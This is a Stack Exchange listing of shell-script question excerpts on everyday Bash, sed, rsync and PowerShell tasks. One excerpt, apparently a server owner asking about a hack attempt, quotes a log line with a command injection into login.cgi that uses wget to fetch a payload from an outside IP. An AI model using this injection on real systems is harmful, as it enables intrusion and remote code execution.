Stack Exchange Network

Stack Exchange network consists of 174 Q&A communities including Stack Overflow, the largest, most trusted online community for developers to learn, share their knowledge, and build their careers.

Visit Stack Exchange

Questions tagged [shell-script]

A shell script is a script written for the shell, or command line interpreter, of an operating system.

0
votes
1answer
25 views

How to repeat a character N times with printf

I have a function that a pass a string. I want this function to pad this string with * in a line. Lets say I pass foo bar I want it to print something like *************** *** foo bar *** ************...
0
votes
3answers
34 views

How to display colour text in terminal?

I want to display colour text in terminal(bash shell). Tried with this approach: echo -e "\e[1;31m This is red text \e[0m" But it doesn't change the text colour to red.
0
votes
1answer
28 views

How to find and tar files then delete them

I need to find files that are older than 30 days, tar and compress them and remove the ones that I already tar and compressed. I was trying to execute something like this but it does not look like ...
0
votes
0answers
23 views

Cygwin permission problems? Rsync works from command line but not inside a bash script [on hold]

I have a short bash script that runs a few rsync commands. I'm running this script in Cygwin (Windows 10). If I run the rsync commands directly on the cygwin command line, they work correctly (i.e. ...
-1
votes
1answer
49 views

find and grep produce different output if executed from script file or command line

I'm using these commands to to search in multiple pdfs, given a file path: >>find /home/ad0x/Documents/Skola/Flervariabel/Tentor -name '*.pdf' -exec sh -c 'pdftotext "{}" - | grep --with-...
0
votes
0answers
21 views

Pashua Mac won't allow me to align an image over the input box. I've tried various options but to no avail

I recently started to play around with Pashua but it seems to be giving me some trouble. Currently I'm using this for a shell script (Bash) and have edited the example file to get close to my desire ...
0
votes
2answers
71 views

Loop through directories in a given path until an existing directory is reached

I have an unknown path given by the user where I would create a file. Since I don't have write permissions I need to find the first existing dir in the path going from inside to outside and check for ...
0
votes
1answer
85 views

Moving the Google Chrome cache directory onto RAM disk automatically at boot in Linux

OS: Linux Mint 19 Cinnamon 64-bit. I know how to create a RAM disk (tmpfs), actually I have it mounted in /etc/fstab like so: none /ramdisk tmpfs size=2G,mode=0777 0 0 As you can see,...
1
vote
1answer
16 views

Shell scripts: Change page-width of a PDF?

I have a scanned PDF file, where different pages have different page widths due to how the PDF was concatenated from multiple sources. This tends to trip up viewers. Is there some command line tool, ...
1
vote
0answers
61 views

sed: How to replace variable line if found or append to end of file if not found?

So my question is very much based off of a related question, but has one key difference. In the answer given of: sed '/^FOOBAR=/{h;s/=.*/=newvalue/};${x;/^$/{s//FOOBAR=newvalue/;H};x}' infile I've ...
0
votes
2answers
30 views

loop(repeat) script block until successful db(mysql) password

I have the following function function executeMySql() { while IFS= read -p "$prompt" -r -s -n 1 char do if [[ $char == $'\0' ]]; then break fi if [[ $char == $'\177' ]...
0
votes
1answer
49 views

bash function with parameters not usable with eval in Msys2

I am using Msys2 from PortableApps under Win 10. The answer to this question (i.e., identification and solution of the problem) may be related to the Unix/Linux part of usage, or to its "adaptation" ...
0
votes
1answer
49 views

Need help in fetching information from HyperV Nodes using Powershell

Below is my Script to fetch the information. I am getting OSStatus and uptime as blank in output. Can some one Please help me to get the output using "Get-VM | Select-Object -ExpandProperty ...
0
votes
0answers
14 views

How to move files from LXC container to local PC ? [migrated]

I have made a script that compress into .tar logs after automation test running. #!/bin/bash LOG_DIR="$logs_location" function collect_logs() { echo "*** collecting logs ***" ...
1
vote
1answer
62 views

Script or command to check whether user used password to logon Windows machine [closed]

Is there a way to check whether a user uses a password to log in to his notebook vs. some other authentication method? I'd prefer to do this using a script. And maybe someone was using glpi.
0
votes
1answer
36 views

How to execute .sh file (raspberrypi) that is present in someother folder

Sh file name: runme.sh Path: /home/pi-bridger/ I wanna run a .sh script that is under /home/pi-bridger/. I am able to run it inside the folder by using the command ./runme.sh. I wanna run the script ...
0
votes
1answer
139 views

sudo su with password provided in jenkins?

I am stuck with one requirement in which I am switching to some "xxx" user and it asks for password every time. I am trying to automate this process with password hardcoded in Jenkins job. ex: sudo su ...
2
votes
2answers
87 views

Wake up a computer over Internet using another computer in the same local network

I have two Arch Linux-powered computers, 'A' and 'B', connected to the Internet via the same router. I have configured and tested Wake-on-WAN on both of them. Both computers are shut down most of the ...
30
votes
2answers
4k views

What does this bash script do? [Hack Attempt]

I've been noticing on my servers apache logs, the following strange lines lately: 156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/...
1
vote
0answers
14 views

How to determine what the type of content in clipboard is in macOS?

I am working on an Keyboard Maestro macro to save the clipboard content to hard drive and then pass the file to Yoink : Since there will be lots of kinds of content put into clipboard, e.g. PNG, JPG, ...
1
vote
1answer
28 views

How to extract multiple urls from String?

I have a string like below https://website.com/BTAE/2015/BTAE assignment jan 15.pdf²0ÔË'\„QI„"ÙP¾^ŒŸZ‡@Æ*]Ü.^‚vðƒ€Ù¾»Æš©Šñ‘€é• ªÂIR#œÉgÉÛ^gMdÉ%9¬e˜Hžôb¿'0<ô ?lþzk…éÃÄórÈ;EW¦K³1…²ì¶ZFžŠÒô*ÄÖ\...
0
votes
1answer
42 views

Pass cronjob output as parameter to curl

I have cronjob that takes hourly backup. Now I want to pass any stderr to an API. 0 * * * * /usr/local/sbin/script.sh 2>&1 | curl -k -X GET "https://192.168.0.25/path/of/joomla/instance/index....
2
votes
3answers
56 views

Script that compares 2 file's sizes and gives a warning message

I am a complete noob in scripting, but I need a script that will compare the sizes of two files and give out a warning if one of those files is 10% bigger than the other. So far, I came up with this :...
30
votes
2answers
4k views

What is wrong with “echo $(stuff)” or “echo `stuff`”?

I used one of the following echo $(stuff) echo `stuff` (where stuff is e.g. pwd or date or something more complicated). Then I was told this syntax is wrong, a bad practice, non-elegant, excessive, ...
-1
votes
1answer
113 views

Copy file from Windows to Linux, when a shell script is executed

I have a program on Linux server, which runs a shell script on Linux server. Say /tmp/ShellScript.sh Now I want to copy a file placed on my Windows Machine location C:\WindowsFolder\FileToCopy to ...
2
votes
2answers
57 views

How do I transpose a table with repeated key values?

I have a table that looks like this: Column A | Column B 10 | 0.1 10 | 0.2 10 | 0.3 20 | 0.4 20 | 0.5 20 | 0.6 I need to transpose ...
0
votes
1answer
81 views

cp command not executing after running other script inside bash script .

There is cp commands inside my shell-script after following commands echo 'Starting Jboss server !!!' (eval "sh standalone.sh --debug") cp /soure_file_path /target_path sleep 60s sh ...
1
vote
1answer
11 views

Opening a URL from the terminal in different spaces macOS

If I run open https://example.com from the terminal and then switch to another space with a safari window open and run the same command, the safari window in my current space will just get focused and ...
0
votes
1answer
32 views

Script to move files that match part of anther files name

I am trying to figure out how to write a script that will take files like this: img123 img123back img124 img125 img125back img126 img127 I need to move all the files that have the same number as the ...
1
vote
2answers
32 views

how to rename all files under folder with specific extension name ( recursive approach )

we want to rename all files under /home/DB_home ( recursive ) so every file under DB_home will rename with .txt extension example before change /home/DB_home/hg/ir/qemu-ga /home/DB_home/td/...
0
votes
1answer
30 views

how to delete all files that are old then X days and ended with number/s

we want to delete all files that ended with number with digit or more as 2 digit or three digit and so on note - when files is ended with number , its tell us this file was rotate and actually backup ...
0
votes
1answer
30 views

SCP off the most recently modified file in a remote directory

Is there a simple command to SCP the most recently modified file in a directory on a remote host? I can figure out how to do that from local to remote... something like: scp ``ls -Art | tail -n 1\`` ...
0
votes
0answers
26 views

Shell script to get ip of list of domain names: connection timed out; no servers could be reached

I have the following script from some sources in the web that should execute command host to get the IP address of a domain name in file myfile.txt. The script is: #! /bin/bash while read hostname; ...
0
votes
1answer
31 views

How to output a particular word in file, if it is present?

I am making a simple script where i turn true to false if true is present in file or vice versa if false is present in file, details here. Now i want to output, what is the value after change ie if i ...
0
votes
1answer
59 views

How to exchange two patterns in place with `sed`?

I am using sed command to change <active>true to <active>false in an xml file. Now if I use sed 's/<active>true/<active>false/g' file.xml > file.xml it completely erases ...
0
votes
1answer
96 views

envsubst a yaml file that uses identation

This is a kubernetes yaml config map apiVersion: v1 kind: ConfigMap metadata: name: $CONFIG_NAME namespace: processing data: configuration.json: | { "test" : $TESTOBJECT } And ...
0
votes
1answer
44 views

How to create multiple html tables from multiple csv files using a shell script

I have two csv files like this: test1.csv: user size aaa 10 bbb 20 ccc 30 test2.csv: name value www 5 mmm 8 ppp 9 I want to convert this to two separate HTML tables using a shell ...
1
vote
1answer
47 views

urban legend : why is it better to avoid using file descriptor 5?

In the answer to this question, the answerer quoted a block of scripts, which contains a line like this exec 4>/path/to/output.file #and a third, for reading and writing, with FD 6 (it's not ...
0
votes
1answer
80 views

How to replace a character in an interval delimited by two other characters from a file

I have to replace all occurrences of the vertical bar character | with a comma , when they appear between [ and ] characters, on each line of a file. Let's say I have the below string in the file: ...
0
votes
0answers
38 views

How can I use rsh and mrsh vice versa between OpenSuse 15.0 (nor rsh) and an old Suse (no mrsh)

I am using OpenSuse 10 ... up to 15.0 and I need to run remote comands in scripts with rsh. But on 15.0 there is no more rsh available (just mrsh). I found a compatibility package but I still can´t ...
1
vote
0answers
53 views

Tools for converting 8-bit C1 control characters to ESC sequences?

The ECMA-48 ("ANSI escape sequences") standard describe two ways of encoding the C1 set of control codes: using 2 character ESC sequences, or alternatively, using 8-bit control characters. Wikipedia ...
1
vote
1answer
145 views

Script to remove all, BUT retain one latest backup file of all sub-directories

The following script works for single folder, but I want to iterate through all subdirectories. ls /home/user/Desktop/cron_database_hourly/*/*_[012][0-9]*.zip | head -n -1 | \ while read -r f; do ...
0
votes
2answers
33 views

ubuntu script to retain only latest file of each folders and delete everything else

We have a script which takes hourly backups and stores it inside a folder created as today's date. #CRONJOB TO BACKUP DB HOURLY DAY=$(/bin/date +%d%m%Y) TIME=$(/bin/date +%H%M%S) if [ ! -d /home/...
0
votes
2answers
406 views

how to extract json file using awk/sed?

Input data.json { "lastUpdateTime" : "2018-07-20T10:56:26.000Z", "items" : [ { "date" : "2018-07-19T21:09:27.000Z", "user" : "dddd", "size" : 5219402, "rawSize" : 15658206, "...
0
votes
1answer
38 views

Can't Export in Powershell

Am new to PowerShell, and I'm trying to make a simple script that lists all folders and files in a drive that shows the last modified date and the size and then export them to a cvs. so far I have ...
11
votes
2answers
2k views

How to edit Excel file (xlsx) using linux shell

Is there a way (tool) to edit XLSX files using Linux shell? What I need is a way to remove the last three not empty rows from the first worksheet. I know that XLSX is just a zip file, packed with ...
0
votes
3answers
98 views

Quit loop if a key is pressed

I want to exit the script if any key is pressed. #!/bin/sh while true; do df -h | head sleep 10 clear done Any suggestion?
1
vote
1answer
22 views

Handle filename with blank in shellscript

These are my folder structure. [set symbolic links here] /links/ [entity] /data/a 1/ #(folder name has blank) /data/b 1/ /data/c 1/ /data/d 1/ . . . I want to made symbolic link for each ...
0
votes
0answers
47 views

How to wait until services are ready

I have been setting up a Jenkins pipeline using docker images. Now I need to run various services like MySQL, Redis, Memcache, Beanstalkd and Elasticsearch. To wait the job until MySQL is ready, I am ...
0
votes
2answers
76 views

Why does FFmpeg add a second subtitle to my files, even though I explicitly only added one?

I have a bunch of MP4 files and subtitle files in a folder, each following the pattern of episode[num].mp4 and episode[num].ass. I wrote a small shell script to automate combining those into MKV ...